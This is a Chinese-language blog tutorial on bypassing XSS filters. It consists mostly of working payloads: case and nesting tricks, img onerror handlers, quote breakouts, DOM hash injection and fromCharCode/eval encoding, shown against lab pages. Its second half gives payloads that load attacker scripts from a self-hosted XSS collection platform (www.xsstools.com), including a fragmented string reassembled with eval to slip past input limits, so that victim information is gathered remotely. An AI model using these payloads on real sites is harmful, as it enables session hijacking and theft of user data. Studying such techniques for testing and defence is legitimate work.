XSS过滤绕过手法与加载payload

XSS基本绕过手法

1、关键词大小写绕过

http://target_sys.com/xss/xss04.php?name=<Script>alert(1);</Script>

2、关键词单次过滤绕过

http://target_sys.com/xss/xss05.php?name=<script<script>>alert(1);</sc</script>ript>

3、对script标签过滤,用img标签绕过进行xss注入

http://target_sys.com/xss/xss06.php?name=testit<img src=a onerror=alert(1)>

4、禁用alert,同上用img标签配合confirm绕过

http://target_sys.com/xss/xss07.php?name=<img src="1" onerror="confirm('xss')">

5、控制js输出的xss

场景:前端代码中存在可控变量

<script>
    var $yy = "简单测试一下xxxxxxx"
</script>
http://target_sys.com/xss/xss08.php?name=";alert($yy)//

6、同上在过滤双引号时通过单引号的注入

http://target_sys.com/xss/xss09.php?name=testit';alert($a);//

7、dom类型xss注入

网页代码
image-20220729232830472

hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
substring 从#开始截取后面的部分

http://target_sys.com/xss/xss10.php?name=testit#<script>alert(1);</script>
http://target_sys.com/xss/xss10.php?name=testit#<script>alert(/xss/);</script>

8、可控php变量的xss注入
这里可通过get的url传参控制action的值来对其中$变量控制
image-20220729233145683

这里可通过get的url传参控制action的值来对其中$变量控制

http://target_sys.com/xss/xss11.php/" onsubmit="alert('1')

注入后submit点击就可执行注入

9、过滤特殊字符的绕过
php开启gpc之后
单引号(’)、双引号(”)、反斜线(/)与 NULL等字符都会被加上反斜线,绕过方式:编码解码

http://target_sys.com/xss/xss12.php?name=<script>alert(1);</script> #被过滤
http://target_sys.com/xss/xss12.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>#baypass

XSS注入加载payload

前提:搭建自己的XSS利用平台,这里其本地hosts域名为www.xsstools.com,以此为基础用XSS注入加载payloads,

搭建举例: https://blog.51cto.com/u_15288375/2967775

1、标准script加载

一般在留言框中应用

<script src=http://www.xsstools.com/amER></script>
<script src=//www.xsstools.com/amER></script>

注入可形成存储型XSS,再次刷新页面可查看注入payload
image-20220731215330123

或者在XSS利用平台查看信息注入获取信息
image-20220731222730246

2.在url注入的img标签dom XSS注入

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//www.xsstools.com/amER'>

注入后刷新网络可查看get报文的注入获取
image-20220731220148038

或者在XSS平台也可见注入获取信息
image-20220731222625850

3.字符拼接的XSS注入

主要用于对输入输出字符限制情况下的XSS注入

将xss注入代码切片分段用

document.write("<script src=http://www.xsstools.com/amER></script>")#注入代码实例

分段切片写入html文件

<script>z='document.'</script>

<script>z=z+'write("'</script>

<script>z=z+'<script'</script>

<script>z=z+' src=ht'</script>

<script>z=z+'tp://www.'</script>

<script>z=z+'xsstools'</script>

<script>z=z+'.com/a'</script>

<script>z=z+'mER></sc'</script>

<script>z=z+'ript>")'</script>

<script>eval(z)</script>

执行后可查看到注入获取信息
image-20220731222906366

猜你喜欢

转载自blog.csdn.net/NZXHJ/article/details/126065893